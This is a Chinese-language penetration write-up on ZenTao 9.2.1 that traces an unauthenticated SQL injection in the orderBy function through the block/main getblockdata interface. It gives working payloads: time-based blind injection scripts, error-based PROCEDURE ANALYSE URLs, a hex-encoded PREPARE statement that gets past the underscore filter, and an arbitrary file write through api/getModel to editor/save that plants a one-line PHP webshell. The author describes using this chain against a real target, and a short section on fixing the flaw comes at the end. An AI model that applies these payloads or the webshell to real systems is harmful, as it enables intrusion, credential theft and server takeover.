作者:L3m0n
首先可以通过接口来确认一下当前禅道的版本。
1 |
<span class="hljs-symbol">http:</span><span class="hljs-comment">//example.com/index.php?mode=getconfig</span> |
网上之前有过一个9.1.2
的orderBy
函数的分析,但是没想到9.2.1
也存在此问题,(2018.3.2
号看到目前最新版本是9.8.1
)。
出问题的地方是此文件的orderBy
函数:\lib\base\dao\dao.class.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 |
<span class="kw"><span class="hljs-keyword">public</span></span> <span class="kw"><span class="hljs-function"><span class="hljs-keyword">function</span></span></span><span class="hljs-function"> <span class="hljs-title">orderBy</span></span><span class="ot"><span class="hljs-function"><span class="hljs-params">(</span></span></span><span class="kw"><span class="hljs-function"><span class="hljs-params">$order</span></span></span><span class="ot"><span class="hljs-function"><span class="hljs-params">)</span></span></span> { <span class="kw"><span class="hljs-keyword">if</span></span><span class="ot">(</span><span class="kw">$this</span>->inCondition <span class="kw"><span class="hljs-keyword">and</span></span> !<span class="kw">$this</span>->conditionIsTrue<span class="ot">)</span> <span class="kw"><span class="hljs-keyword">return</span></span> <span class="kw">$this</span><span class="ot">;</span> <span class="kw">$order</span> = <span class="fu">str_replace</span><span class="ot">(</span><span class="fu"><span class="hljs-keyword">array</span></span><span class="ot">(</span><span class="st"><span class="hljs-string">'|'</span></span><span class="ot">,</span> <span class="st"><span class="hljs-string">''</span></span><span class="ot">,</span> <span class="st"><span class="hljs-string">'_'</span></span><span class="ot">),</span> <span class="st"><span class="hljs-string">' '</span></span><span class="ot">,</span> <span class="kw">$order</span><span class="ot">);</span> <span class="co"><span class="hljs-comment">/* Add "`" in order string. */</span></span> <span class="co"><span class="hljs-comment">/* When order has limit string. */</span></span> <span class="kw">$pos</span> = <span class="fu">stripos</span><span class="ot">(</span><span class="kw">$order</span><span class="ot">,</span> <span class="st"><span class="hljs-string">'limit'</span></span><span class="ot">);</span> <span class="kw">$orders</span> = <span class="kw">$pos</span> <span class="ot">?</span> <span class="fu">substr</span><span class="ot">(</span><span class="kw">$order</span><span class="ot">,</span> <span class="dv"><span class="hljs-number">0</span></span><span class="ot">,</span> <span class="kw">$pos</span><span class="ot">)</span> <span class="ot">:</span> <span class="kw">$order</span><span class="ot">;</span> <span class="kw">$limit</span> = <span class="kw">$pos</span> <span class="ot">?</span> <span class="fu">substr</span><span class="ot">(</span><span class="kw">$order</span><span class="ot">,</span> <span class="kw">$pos</span><span class="ot">)</span> <span class="ot">:</span> <span class="st"><span class="hljs-string">''</span></span><span class="ot">;</span> <span class="kw">$orders</span> = <span class="fu">trim</span><span class="ot">(</span><span class="kw">$orders</span><span class="ot">);</span> <span class="kw"><span class="hljs-keyword">if</span></span><span class="ot">(</span><span class="fu"><span class="hljs-keyword">empty</span></span><span class="ot">(</span><span class="kw">$orders</span><span class="ot">))</span> <span class="kw"><span class="hljs-keyword">return</span></span> <span class="kw">$this</span><span class="ot">;</span> <span class="kw"><span class="hljs-keyword">if</span></span><span class="ot">(</span>!<span class="fu">preg_match</span><span class="ot">(</span><span class="st"><span class="hljs-string">'/^(\w+\.)?(`\w+`|\w+)( +(desc|asc))?( *(, *(\w+\.)?(`\w+`|\w+)( +(desc|asc))?)?)*$/i'</span></span><span class="ot">,</span> <span class="kw">$orders</span><span class="ot">))</span> <span class="fu"><span class="hljs-keyword">die</span></span><span class="ot">(</span><span class="st"><span class="hljs-string">"Order is bad request, The order is </span></span><span class="kw"><span class="hljs-string">$orders</span></span><span class="st"><span class="hljs-string">"</span></span><span class="ot">);</span> <span class="kw">$orders</span> = <span class="fu">explode</span><span class="ot">(</span><span class="st"><span class="hljs-string">','</span></span><span class="ot">,</span> <span class="kw">$orders</span><span class="ot">);</span> <span class="kw"><span class="hljs-keyword">foreach</span></span><span class="ot">(</span><span class="kw">$orders</span> <span class="kw"><span class="hljs-keyword">as</span></span> <span class="kw">$i</span> => <span class="kw">$order</span><span class="ot">)</span> { <span class="kw">$orderParse</span> = <span class="fu">explode</span><span class="ot">(</span><span class="st"><span class="hljs-string">' '</span></span><span class="ot">,</span> <span class="fu">trim</span><span class="ot">(</span><span class="kw">$order</span><span class="ot">));</span> <span class="kw"><span class="hljs-keyword">foreach</span></span><span class="ot">(</span><span class="kw">$orderParse</span> <span class="kw"><span class="hljs-keyword">as</span></span> <span class="kw">$key</span> => <span class="kw">$value</span><span class="ot">)</span> { <span class="kw">$value</span> = <span class="fu">trim</span><span class="ot">(</span><span class="kw">$value</span><span class="ot">);</span> <span class="kw"><span class="hljs-keyword">if</span></span><span class="ot">(</span><span class="fu"><span class="hljs-keyword">empty</span></span><span class="ot">(</span><span class="kw">$value</span><span class="ot">)</span> <span class="kw"><span class="hljs-keyword">or</span></span> <span class="fu">strtolower</span><span class="ot">(</span><span class="kw">$value</span><span class="ot">)</span> == <span class="st"><span class="hljs-string">'desc'</span></span> <span class="kw"><span class="hljs-keyword">or</span></span> <span class="fu">strtolower</span><span class="ot">(</span><span class="kw">$value</span><span class="ot">)</span> == <span class="st"><span class="hljs-string">'asc'</span></span><span class="ot">)</span> <span class="kw"><span class="hljs-keyword">continue</span></span><span class="ot">;</span> <span class="kw">$field</span> = <span class="kw">$value</span><span class="ot">;</span> <span class="co"><span class="hljs-comment">/* such as t1.id field. */</span></span> <span class="kw"><span class="hljs-keyword">if</span></span><span class="ot">(</span><span class="fu">strpos</span><span class="ot">(</span><span class="kw">$value</span><span class="ot">,</span> <span class="st"><span class="hljs-string">'.'</span></span><span class="ot">)</span> !== <span class="kw"><span class="hljs-keyword">false</span></span><span class="ot">)</span> <span class="fu"><span class="hljs-keyword">list</span></span><span class="ot">(</span><span class="kw">$table</span><span class="ot">,</span> <span class="kw">$field</span><span class="ot">)</span> = <span class="fu">explode</span><span class="ot">(</span><span class="st"><span class="hljs-string">'.'</span></span><span class="ot">,</span> <span class="kw">$field</span><span class="ot">);</span> <span class="kw"><span class="hljs-keyword">if</span></span><span class="ot">(</span><span class="fu">strpos</span><span class="ot">(</span><span class="kw">$field</span><span class="ot">,</span> <span class="st"><span class="hljs-string">'`'</span></span><span class="ot">)</span> === <span class="kw"><span class="hljs-keyword">false</span></span><span class="ot">)</span> <span class="kw">$field</span> = <span class="st"><span class="hljs-string">"`</span></span><span class="kw"><span class="hljs-string">$field</span></span><span class="st"><span class="hljs-string">`"</span></span><span class="ot">;</span> <span class="kw">$orderParse</span><span class="ot">[</span><span class="kw">$key</span><span class="ot">]</span> = <span class="fu"><span class="hljs-keyword">isset</span></span><span class="ot">(</span><span class="kw">$table</span><span class="ot">)</span> <span class="ot">?</span> <span class="kw">$table</span> . <span class="st"><span class="hljs-string">'.'</span></span> . <span class="kw">$field</span> <span class="ot">:</span> <span class="kw">$field</span><span class="ot">;</span> <span class="fu"><span class="hljs-keyword">unset</span></span><span class="ot">(</span><span class="kw">$table</span><span class="ot">);</span> } <span class="kw">$orders</span><span class="ot">[</span><span class="kw">$i</span><span class="ot">]</span> = <span class="fu">join</span><span class="ot">(</span><span class="st"><span class="hljs-string">' '</span></span><span class="ot">,</span> <span class="kw">$orderParse</span><span class="ot">);</span> <span class="kw"><span class="hljs-keyword">if</span></span><span class="ot">(</span><span class="fu"><span class="hljs-keyword">empty</span></span><span class="ot">(</span><span class="kw">$orders</span><span class="ot">[</span><span class="kw">$i</span><span class="ot">]))</span> <span class="fu"><span class="hljs-keyword">unset</span></span><span class="ot">(</span><span class="kw">$orders</span><span class="ot">[</span><span class="kw">$i</span><span class="ot">]);</span> } <span class="kw">$order</span> = <span class="fu">join</span><span class="ot">(</span><span class="st"><span class="hljs-string">','</span></span><span class="ot">,</span> <span class="kw">$orders</span><span class="ot">)</span> . <span class="st"><span class="hljs-string">' '</span></span> . <span class="kw">$limit</span><span class="ot">;</span> <span class="kw">$this</span>->sql .= <span class="st"><span class="hljs-string">' '</span></span> . <span class="kw">DAO</span>::<span class="kw">ORDERBY</span> . <span class="st"><span class="hljs-string">" </span></span><span class="kw"><span class="hljs-string">$order</span></span><span class="st"><span class="hljs-string">"</span></span><span class="ot">;</span> <span class="kw"><span class="hljs-keyword">return</span></span> <span class="kw">$this</span><span class="ot">;</span> } |
对于limit
后未做严格的过滤与判断,然后拼接到了order by
后面导致产生注入。
1 |
$order = <span class="hljs-keyword">join</span>(<span class="hljs-string">','</span>, $orders) . <span class="hljs-string">' '</span> . $limit; |
看了一下9.8.1
的修补是对limit进行正则限制,但是事实上感觉此处正则是写了一个bug,比如正常调用orderBy($order)
的时候,其中$order
为abc desc limit 1,1
的时候,进入$limit
则是limit 1,1
,导致匹配失败。
1 2 3 4 5 6 |
/* Add <span class="hljs-string">"`"</span> <span class="hljs-keyword">in</span> order string. */ /* When order has <span class="hljs-built_in">limit</span> string. */ <span class="hljs-variable">$pos</span> = stripos(<span class="hljs-variable">$order</span>, <span class="hljs-string">'limit'</span>); <span class="hljs-variable">$orders</span> = <span class="hljs-variable">$pos</span> ? substr(<span class="hljs-variable">$order</span>, 0, <span class="hljs-variable">$pos</span>) : <span class="hljs-variable">$order</span>; <span class="hljs-variable">$limit</span> = <span class="hljs-variable">$pos</span> ? substr(<span class="hljs-variable">$order</span>, <span class="hljs-variable">$pos</span>) : <span class="hljs-string">''</span>; <span class="hljs-keyword">if</span>(<span class="hljs-variable">$limit</span> and !preg_match(<span class="hljs-string">'/^[0-9]+ *(, *[0-9]+)?$/'</span>, <span class="hljs-variable">$limit</span>)) <span class="hljs-variable">$limit</span> = <span class="hljs-string">''</span>; |
如果想要造成前台注入(无需登录)的话,就得先看看禅道开放了哪些接口,看是否有调用orderBy
函数。
\zentao\module\common\model.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 |
<span class="hljs-keyword">public</span> <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">isOpenMethod</span><span class="hljs-params">($module, $method)</span> </span>{ <span class="hljs-keyword">if</span>($module == <span class="hljs-string">'user'</span> <span class="hljs-keyword">and</span> strpos(<span class="hljs-string">'login|logout|deny|reset'</span>, $method) !== <span class="hljs-keyword">false</span>) <span class="hljs-keyword">return</span> <span class="hljs-keyword">true</span>; <span class="hljs-keyword">if</span>($module == <span class="hljs-string">'api'</span> <span class="hljs-keyword">and</span> $method == <span class="hljs-string">'getsessionid'</span>) <span class="hljs-keyword">return</span> <span class="hljs-keyword">true</span>; <span class="hljs-keyword">if</span>($module == <span class="hljs-string">'misc'</span> <span class="hljs-keyword">and</span> $method == <span class="hljs-string">'ping'</span>) <span class="hljs-keyword">return</span> <span class="hljs-keyword">true</span>; <span class="hljs-keyword">if</span>($module == <span class="hljs-string">'misc'</span> <span class="hljs-keyword">and</span> $method == <span class="hljs-string">'checktable'</span>) <span class="hljs-keyword">return</span> <span class="hljs-keyword">true</span>; <span class="hljs-keyword">if</span>($module == <span class="hljs-string">'misc'</span> <span class="hljs-keyword">and</span> $method == <span class="hljs-string">'qrcode'</span>) <span class="hljs-keyword">return</span> <span class="hljs-keyword">true</span>; <span class="hljs-keyword">if</span>($module == <span class="hljs-string">'misc'</span> <span class="hljs-keyword">and</span> $method == <span class="hljs-string">'about'</span>) <span class="hljs-keyword">return</span> <span class="hljs-keyword">true</span>; <span class="hljs-keyword">if</span>($module == <span class="hljs-string">'misc'</span> <span class="hljs-keyword">and</span> $method == <span class="hljs-string">'checkupdate'</span>) <span class="hljs-keyword">return</span> <span class="hljs-keyword">true</span>; <span class="hljs-keyword">if</span>($module == <span class="hljs-string">'misc'</span> <span class="hljs-keyword">and</span> $method == <span class="hljs-string">'changelog'</span>) <span class="hljs-keyword">return</span> <span class="hljs-keyword">true</span>; <span class="hljs-keyword">if</span>($module == <span class="hljs-string">'sso'</span> <span class="hljs-keyword">and</span> $method == <span class="hljs-string">'login'</span>) <span class="hljs-keyword">return</span> <span class="hljs-keyword">true</span>; <span class="hljs-keyword">if</span>($module == <span class="hljs-string">'sso'</span> <span class="hljs-keyword">and</span> $method == <span class="hljs-string">'logout'</span>) <span class="hljs-keyword">return</span> <span class="hljs-keyword">true</span>; <span class="hljs-keyword">if</span>($module == <span class="hljs-string">'sso'</span> <span class="hljs-keyword">and</span> $method == <span class="hljs-string">'bind'</span>) <span class="hljs-keyword">return</span> <span class="hljs-keyword">true</span>; <span class="hljs-keyword">if</span>($module == <span class="hljs-string">'sso'</span> <span class="hljs-keyword">and</span> $method == <span class="hljs-string">'gettodolist'</span>) <span class="hljs-keyword">return</span> <span class="hljs-keyword">true</span>; <span class="hljs-keyword">if</span>($module == <span class="hljs-string">'block'</span> <span class="hljs-keyword">and</span> $method == <span class="hljs-string">'main'</span>) <span class="hljs-keyword">return</span> <span class="hljs-keyword">true</span>; <span class="hljs-keyword">if</span>($this->loadModel(<span class="hljs-string">'user'</span>)->isLogon() <span class="hljs-keyword">or</span> ($this->app->company->guest <span class="hljs-keyword">and</span> $this->app->user->account == <span class="hljs-string">'guest'</span>)) { <span class="hljs-keyword">if</span>(stripos($method, <span class="hljs-string">'ajax'</span>) !== <span class="hljs-keyword">false</span>) <span class="hljs-keyword">return</span> <span class="hljs-keyword">true</span>; <span class="hljs-keyword">if</span>(stripos($method, <span class="hljs-string">'downnotify'</span>) !== <span class="hljs-keyword">false</span>) <span class="hljs-keyword">return</span> <span class="hljs-keyword">true</span>; <span class="hljs-keyword">if</span>($module == <span class="hljs-string">'tutorial'</span>) <span class="hljs-keyword">return</span> <span class="hljs-keyword">true</span>; <span class="hljs-keyword">if</span>($module == <span class="hljs-string">'block'</span>) <span class="hljs-keyword">return</span> <span class="hljs-keyword">true</span>; <span class="hljs-keyword">if</span>($module == <span class="hljs-string">'product'</span> <span class="hljs-keyword">and</span> $method == <span class="hljs-string">'showerrornone'</span>) <span class="hljs-keyword">return</span> <span class="hljs-keyword">true</span>; } <span class="hljs-keyword">return</span> <span class="hljs-keyword">false</span>; } |
其中的if($module == 'block' and $method == 'main') return true;
,也就是本次漏洞的主角,继续跟进。
\zentao\module\block\control.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 |
<span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">block</span> <span class="hljs-keyword">extends</span> <span class="hljs-title">control</span> </span>{ <span class="hljs-keyword">public</span> <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">__construct</span><span class="hljs-params">($moduleName = <span class="hljs-string">''</span>, $methodName = <span class="hljs-string">''</span>)</span> </span>{ <span class="hljs-keyword">parent</span>::__construct($moduleName, $methodName); $this->selfCall = strpos($this->server->http_referer, common::getSysURL()) === <span class="hljs-number">0</span> || $this->session->blockModule; <span class="hljs-keyword">if</span>($this->methodName != <span class="hljs-string">'admin'</span> <span class="hljs-keyword">and</span> $this->methodName != <span class="hljs-string">'dashboard'</span> <span class="hljs-keyword">and</span> !$this->selfCall <span class="hljs-keyword">and</span> !$this->loadModel(<span class="hljs-string">'sso'</span>)->checkKey()) <span class="hljs-keyword">die</span>(<span class="hljs-string">''</span>); } <span class="hljs-keyword">public</span> <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">main</span><span class="hljs-params">($module = <span class="hljs-string">''</span>, $id = <span class="hljs-number">0</span>)</span> </span>{ ... $mode = strtolower($this->get->mode); <span class="hljs-keyword">if</span>($mode == <span class="hljs-string">'getblocklist'</span>) { ... } <span class="hljs-keyword">elseif</span>($mode == <span class="hljs-string">'getblockform'</span>) { ... } <span class="hljs-keyword">elseif</span>($mode == <span class="hljs-string">'getblockdata'</span>) { $code = strtolower($this->get->blockid); $params = $this->get->param; $params = json_decode(base64_decode($params)); .... $this->viewType = (<span class="hljs-keyword">isset</span>($params->viewType) <span class="hljs-keyword">and</span> $params->viewType == <span class="hljs-string">'json'</span>) ? <span class="hljs-string">'json'</span> : <span class="hljs-string">'html'</span>; $this->params = $params; $this->view->code = $this->get->blockid; $this->view->title = $this->get->blockTitle; $func = <span class="hljs-string">'print'</span> . ucfirst($code) . <span class="hljs-string">'Block'</span>; <span class="hljs-keyword">if</span>(method_exists(<span class="hljs-string">'block'</span>, $func)) { $this->$func($module); } <span class="hljs-keyword">else</span> { $this->view->data = $this->block->$func($module, $params); } } } } |
首先看__construct
中,$this->selfCall
是在验证referer
的值,如果为真的话则后面的if
将不会进入die
语句里面
接下来跟进main
函数,可以看到最后的$func = 'print' . ucfirst($code) . 'Block';
,会对一些函数进行调用,与此同时,我们搜索orderBy
的调用的时候可以发现printCaseBlock
函数的存在
\zentao\module\block\control.php
所以前台注入的整个过程便比较清晰了,那么如何利用?
回过头来,因为禅道有windows直接的一键化安装程序,其数据库使用的也是root
权限,导致可直接导出shell,但是如果没有这么高权限的时候,对于这个注入应该如何出数据。
1 2 |
sql <span class="op">=</span> <span class="st"><span class="hljs-string">'select user()'</span></span> param <span class="op">=</span> <span class="st"><span class="hljs-string">'{"orderBy":"order limit 1;select (if(ord(mid((</span></span><span class="sc"><span class="hljs-string">%s</span></span><span class="st"><span class="hljs-string">),</span></span><span class="sc"><span class="hljs-string">%d</span></span><span class="st"><span class="hljs-string">,1))=</span></span><span class="sc"><span class="hljs-string">%d</span></span><span class="st"><span class="hljs-string">,sleep(2),1))--","num":"1,1","type":"openedbyme"}'</span></span> <span class="op">%</span> (sql,n,i) |
禅道是支持多语句的,这也为后面的利用提供方便。
注入出数据库名和表段名后,当我想继续注入出用户账号密码的时候,意外地发现没有出数据。
1 |
<span class="hljs-attr">sql</span> = <span class="hljs-string">'select 12345 from zt_user'</span> |
还是没有出数据,猜测是管理员改了表前缀,所以想去通过information_schema
查询一下表名,但是意外地发现,也不能读取?难道被删了?但是我还是想知道一下表前缀。
请求的时候加了一个单引号,并且加上referer,看一下报错信息。
1 2 3 4 |
http://example.com/index.php?m=block&f=main&mode=getblockdata&blockid=case&<span class="hljs-keyword">param</span>=eyJvcmRlckJ5Ijoib3JkZXIgbGltaXQgMSwxJyIsIm51bSI6IjEsMSIsInR5cGUiOiJvcGVuZWRieW1lIn0= 其中<span class="hljs-keyword">param</span>经过BASE64解码得到 {<span class="hljs-string">"orderBy"</span>:<span class="hljs-string">"order limit 1,1'"</span>,<span class="hljs-string">"num"</span>:<span class="hljs-string">"1,1"</span>,<span class="hljs-string">"type"</span>:<span class="hljs-string">"openedbyme"</span>} |
因为PDO的关系,SQL中的表名是%s
替代的,所以未能够得到库名。
那么就利用报错去得到当前SQl语句里面查询的表名,比如利用polygon
函数。
此注入点可以理解为limit后的注入点,因为使用多语句的话,报错效果不明显,所以就直接在limit后面进行注入。
1 2 3 4 |
http://example.com/index.php?m=block&f=main&mode=getblockdata&blockid=case&<span class="hljs-keyword">param</span>=eyJvcmRlckJ5Ijoib3JkZXIgbGltaXQgMSwxIFBST0NFRFVSRSBBTkFMWVNFKHBvbHlnb24oaWQpLDEpIyIsIm51bSI6IjEsMSIsInR5cGUiOiJvcGVuZWRieW1lIn0= <span class="hljs-keyword">param</span> base64解码 {<span class="hljs-string">"orderBy"</span>:<span class="hljs-string">"order limit 1,1 PROCEDURE ANALYSE(polygon(id),1)#"</span>,<span class="hljs-string">"num"</span>:<span class="hljs-string">"1,1"</span>,<span class="hljs-string">"type"</span>:<span class="hljs-string">"openedbyme"</span>} |
上图为本地测试,但是limit的注入和mysql版本还有一些关系,目前网上的payload仅限于低版本才可报错注入出数据,很不幸运的是,目标使用的是高版本mysql。
那既然可以多语句,在不能用information_schema
的情况下,可以通过下面语法来进行盲注:
1 |
<span class="hljs-keyword">show</span> <span class="hljs-keyword">table</span> <span class="hljs-keyword">status</span> <span class="hljs-keyword">where</span> <span class="hljs-keyword">name</span> = <span class="hljs-string">'xxx'</span> <span class="hljs-keyword">and</span> <span class="hljs-keyword">sleep</span>(<span class="hljs-number">2</span>) |
写到py里面的payload是这样的:
1 2 |
sql <span class="op">=</span> <span class="st"><span class="hljs-string">"show table status where hex(substr(name,1,8))='7a745f75736572</span></span><span class="sc"><span class="hljs-string">%s</span></span><span class="st"><span class="hljs-string">' and sleep(2)"</span></span> <span class="op">%</span> binascii.b2a_hex(<span class="bu">chr</span>(i)) param <span class="op">=</span> <span class="st"><span class="hljs-string">'{"orderBy":"order limit 1,1;</span></span><span class="sc"><span class="hljs-string">%s</span></span><span class="st"><span class="hljs-string">--","num":"1,1","type":"openedbyme"}'</span></span> <span class="op">%</span> sql |
经过一番折腾发现,表前缀就是默认的zt_
,但是为啥又不能够读取到用户数据呢?
仔细看到禅道里面的orderBy
函数,发现做了过滤。
1 |
$order = str_replace(<span class="hljs-keyword">array</span>(<span class="hljs-string">'|'</span>, <span class="hljs-string">''</span>, <span class="hljs-string">'_'</span>), <span class="hljs-string">' '</span>, $order); |
把下划线给过滤掉了,那这种在多语句下,可以利用mysql的预查询来绕过,值得注意的是,这个版本语法大小写敏感。
1 |
<span class="fu">SET</span> <span class="er">@</span><span class="kw">SQL</span>=<span class="bn"><span class="hljs-number">0x494E5345525420494E544F206D6F76696520286E616D652C20636F6E74656E74292056414C55455320282761616161272C27616161612729</span></span><span class="ot">;</span><span class="kw">PREPARE</span> pord <span class="kw">FROM</span> <span class="er">@</span><span class="kw">SQL</span><span class="ot">;</span><span class="kw">EXECUTE</span> pord<span class="ot">;</span> |
注入出admin密码的时候,惊喜的发现不能解开,无奈之下,只能先拿到一个普通账号。
禅道在防止getshell方面还花了一点心思,曾经挖到一个可以任意写文件getshell(最新版本还存在这段代码),不过需要的权限是管理员权限。
看了一下禅道里面人员组织架构情况,有研发、项目经理、产品经理,高层管理,系统管理员等角色,其中系统管理员虽然密码解不开,但是我们可以去解密一下高层管理的密码,因为这个角色的权限是可以修改某用户的用户组权限。在高层管理账号中,我们可以将一个普通账号修改为管理员。
接下来就是写文件Getshell:
/xampp/zentaopro/module/api/control.php
1 2 3 4 5 6 7 8 9 10 11 12 13 |
<span class="hljs-keyword">public</span> <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">getModel</span><span class="hljs-params">($moduleName, $methodName, $params = <span class="hljs-string">''</span>)</span> </span>{ parse_str(str_replace(<span class="hljs-string">','</span>, <span class="hljs-string">'&'</span>, $params), $params); $module = $this->loadModel($moduleName); $result = call_user_func_array(<span class="hljs-keyword">array</span>(&$module, $methodName), $params); <span class="hljs-keyword">if</span>(dao::isError()) <span class="hljs-keyword">die</span>(json_encode(dao::getError())); $output[<span class="hljs-string">'status'</span>] = $result ? <span class="hljs-string">'success'</span> : <span class="hljs-string">'fail'</span>; $output[<span class="hljs-string">'data'</span>] = json_encode($result); $output[<span class="hljs-string">'md5'</span>] = md5($output[<span class="hljs-string">'data'</span>]); $this->output = json_encode($output); <span class="hljs-keyword">die</span>($this->output); } |
可以看到是进入了call_user_func_array,也就是我们可以任意实例化一个module方法,方法的参数也是可控的,可以通过,
来分割参数。
/zentaopro/module/editor/model.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 |
<span class="hljs-keyword">public</span> <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">save</span><span class="hljs-params">($filePath)</span> </span>{ $fileContent = $this->post->fileContent; $evils = <span class="hljs-keyword">array</span>(<span class="hljs-string">'eval'</span>, <span class="hljs-string">'exec'</span>, <span class="hljs-string">'passthru'</span>, <span class="hljs-string">'proc_open'</span>, <span class="hljs-string">'shell_exec'</span>, <span class="hljs-string">'system'</span>, <span class="hljs-string">'$$'</span>, <span class="hljs-string">'include'</span>, <span class="hljs-string">'require'</span>, <span class="hljs-string">'assert'</span>); $gibbedEvils = <span class="hljs-keyword">array</span>(<span class="hljs-string">'e v a l'</span>, <span class="hljs-string">'e x e c'</span>, <span class="hljs-string">' p a s s t h r u'</span>, <span class="hljs-string">' p r o c _ o p e n'</span>, <span class="hljs-string">'s h e l l _ e x e c'</span>, <span class="hljs-string">'s y s t e m'</span>, <span class="hljs-string">'$ $'</span>, <span class="hljs-string">'i n c l u d e'</span>, <span class="hljs-string">'r e q u i r e'</span>, <span class="hljs-string">'a s s e r t'</span>); $fileContent = str_ireplace($gibbedEvils, $evils, $fileContent); <span class="hljs-keyword">if</span>(get_magic_quotes_gpc()) $fileContent = stripslashes($fileContent); $dirPath = dirname($filePath); $extFilePath = substr($filePath, <span class="hljs-number">0</span>, strpos($filePath, DS . <span class="hljs-string">'ext'</span> . DS) + <span class="hljs-number">4</span>); <span class="hljs-keyword">if</span>(!is_dir($dirPath) <span class="hljs-keyword">and</span> is_writable($extFilePath)) mkdir($dirPath, <span class="hljs-number">0777</span>, <span class="hljs-keyword">true</span>); <span class="hljs-keyword">if</span>(is_writable($dirPath)) { file_put_contents($filePath, $fileContent); } <span class="hljs-keyword">else</span> { <span class="hljs-keyword">die</span>(js::alert($this->lang->editor->notWritable . $extFilePath)); } } |
在editor中是可以写一个文件的,filePath可控,fileContent也是可控的,这下就是可以任意写一个文件。
Exp:
1 2 3 4 5 6 |
<span class="hljs-symbol">http:</span>/<span class="hljs-regexp">/example.com/</span><span class="hljs-string">?m</span>=api&f=getModel&moduleName=editor&methodName=save&params=filePath=aaaaaa.php POST内容<span class="hljs-symbol">:</span> fileContent=<?php $_POST[<span class="hljs-number">1</span>]($_POST[<span class="hljs-number">2</span>]); 最后的shell地址是\zentaopro\<span class="hljs-class"><span class="hljs-keyword">module</span>\<span class="hljs-title">api</span>\<span class="hljs-title">aaaaaa</span>.<span class="hljs-title">php</span></span> |
但是问题又来了,前面报错里面得到的路径目录感觉像是做了权限(这里绕弯了,路径少加了一个www,所以以为是没权限写),最终从数据库中的zt_file
获取上传文件的路径,然后再将shell写入当中才得以结束。
对于order by
的漏洞如何进行防御的时候,我觉得上面代码在部分上有可取之处。
1、去掉limit
部分,然后限制格式
1 |
if(!preg_match('/^(\w+\.)?(`\w+`|\w+)( +(desc|asc))?( <span class="hljs-name">*</span>(, *(\w+\.)?(`\w+`|\w+)( +(desc|asc))?)?)*$/i', $orders)) die(<span class="hljs-string">"Order is bad request, The order is $orders"</span>)<span class="hljs-comment">;</span> |
2、然后循环对每个字段进行反引号的添加
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 |
$orders = explode(<span class="hljs-string">','</span>, $orders); <span class="hljs-keyword">foreach</span> ($orders <span class="hljs-keyword">as</span> $i => $order) { $orderParse = explode(<span class="hljs-string">' '</span>, trim($order)); <span class="hljs-keyword">foreach</span> ($orderParse <span class="hljs-keyword">as</span> $key => $value) { $value = trim($value); <span class="hljs-keyword">if</span> (<span class="hljs-keyword">empty</span>($value) <span class="hljs-keyword">or</span> strtolower($value) == <span class="hljs-string">'desc'</span> <span class="hljs-keyword">or</span> strtolower($value) == <span class="hljs-string">'asc'</span>) { <span class="hljs-keyword">continue</span>; } $field = $value; <span class="hljs-comment">/* such as t1.id field. */</span> <span class="hljs-keyword">if</span> (strpos($value, <span class="hljs-string">'.'</span>) !== <span class="hljs-keyword">false</span>) { <span class="hljs-keyword">list</span>($table, $field) = explode(<span class="hljs-string">'.'</span>, $field); } <span class="hljs-keyword">if</span> (strpos($field, <span class="hljs-string">'`'</span>) === <span class="hljs-keyword">false</span>) { $field = <span class="hljs-string">"`$field`"</span>; } $orderParse[$key] = <span class="hljs-keyword">isset</span>($table) ? $table . <span class="hljs-string">'.'</span> . $field : $field; <span class="hljs-keyword">unset</span>($table); } $orders[$i] = join(<span class="hljs-string">' '</span>, $orderParse); <span class="hljs-keyword">if</span> (<span class="hljs-keyword">empty</span>($orders[$i])) { <span class="hljs-keyword">unset</span>($orders[$i]); } } |
整个过程就是自己在挖莫名其妙的坑,然后再一个个慢慢补上,希望能够对大家有用。
本文由来源 l3m0n,由 NNN4cy 整理编辑!
您必须[登录] 才能发表留言!